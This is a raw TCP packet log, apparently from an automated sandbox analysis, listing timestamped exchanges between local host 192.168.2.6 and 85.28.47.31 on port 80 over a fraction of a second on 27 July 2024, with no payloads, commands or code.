Jul 27, 2024 03:19:17.127027035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.127060890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.127093077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.127103090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.127125025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.127132893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.127163887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.127913952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.127969027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.127994061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128026009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128035069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128058910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128065109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128098965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128108025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128148079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128156900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128190041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128196001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128226042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128228903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128258944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128264904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128293037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128297091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128328085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128331900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128360987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128365993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128393888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128397942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128427982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128432989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128465891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128770113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128803015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128818035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128840923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128853083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128885984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128892899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128921032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128925085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128952980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128958941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.128988028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.128992081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.129024982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.129585981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.129637003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.129643917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.129683971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.129944086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.129992008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.129993916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.130028009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.130032063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.130060911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.130068064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.130095005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.130100012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.130127907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.130135059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.130168915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159578085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159610033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159641027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159671068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159673929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159694910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159708023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159735918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159743071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159761906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159790993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159801960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159825087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.159832954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.159864902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160140038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160173893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160192013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160219908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160226107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160259962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160273075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160293102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160304070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160326958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160340071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160372019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160521984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160573006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160798073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160851002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160855055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160886049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160892963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160917997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160931110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160952091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160962105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.160984993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.160996914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161020994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161030054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161050081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161067009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161093950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161761999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161813021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161814928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161845922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161856890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161894083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161897898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161930084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161942959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161964893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.161973953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.161999941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.162009001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.162044048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.163758039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163806915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163814068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.163841009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163850069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.163872957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163887024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.163908005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163918972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.163940907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163953066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.163975000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.163985968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.164006948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.164020061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.164050102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.164827108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.164855003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.164880991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.164889097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.164904118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.164937973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.164952040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.164969921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.164983034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.165004015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.165015936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.165038109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.165049076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.165071964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.165081978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.165116072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166033030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166065931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166085005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166100979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166114092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166145086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166160107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166177988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166191101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166210890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166227102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166244984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166253090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166275978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166285992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166316032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166644096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166676044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166697025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166717052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166723967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166757107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166770935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166789055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166802883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166821957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166832924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166855097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166866064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166891098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.166901112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.166934967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167635918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167686939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167689085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167732000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167737961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167772055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167783976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167814970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167821884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167855024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167865992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167898893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167905092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167937994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167948961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.167970896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.167983055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.168004990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.168014050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.168039083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.168049097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.168073893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.168082952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.168107033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.168118000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.168140888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.168150902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.168184996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.213903904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.213957071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.213989019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.214018106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214018106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214020967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.214046955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214056015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.214065075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214090109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.214097977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214123964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.214128971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214157104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.214164019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.214196920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215744019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215794086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215801954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215826988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215831995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215859890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215868950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215895891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215904951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215929985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215940952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215965986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.215975046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.215997934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.216008902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.216039896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.216845989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.216878891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.216897964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.216917038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.216929913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.216974974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.216979980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217014074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217021942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217047930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217057943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217082977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217089891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217116117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217124939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217150927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217159033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217186928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217196941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217223883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217230082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217257977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217277050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217293024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217298985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217339039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217343092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217386961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217595100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217644930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217645884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217681885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217684031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217724085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217736006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217782021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217787027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217822075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217828989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217854977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217864990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217896938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.217897892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.217941046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219027042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219058990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219079018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219098091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219110012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219142914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219151020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219177961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219187021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219213009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219222069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219249010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219257116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219281912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.219291925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.219325066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.247967005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.248002052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.248035908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.248061895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.248080969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.248339891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.248399973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.248697042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.248755932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.248996973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249049902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249301910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249357939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249547958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249572992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249587059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249593973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249614000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249629021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249732971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249754906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249768972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249773979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249785900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249794006 CEST	49710	80	192.168.2.6	85.28.47.31
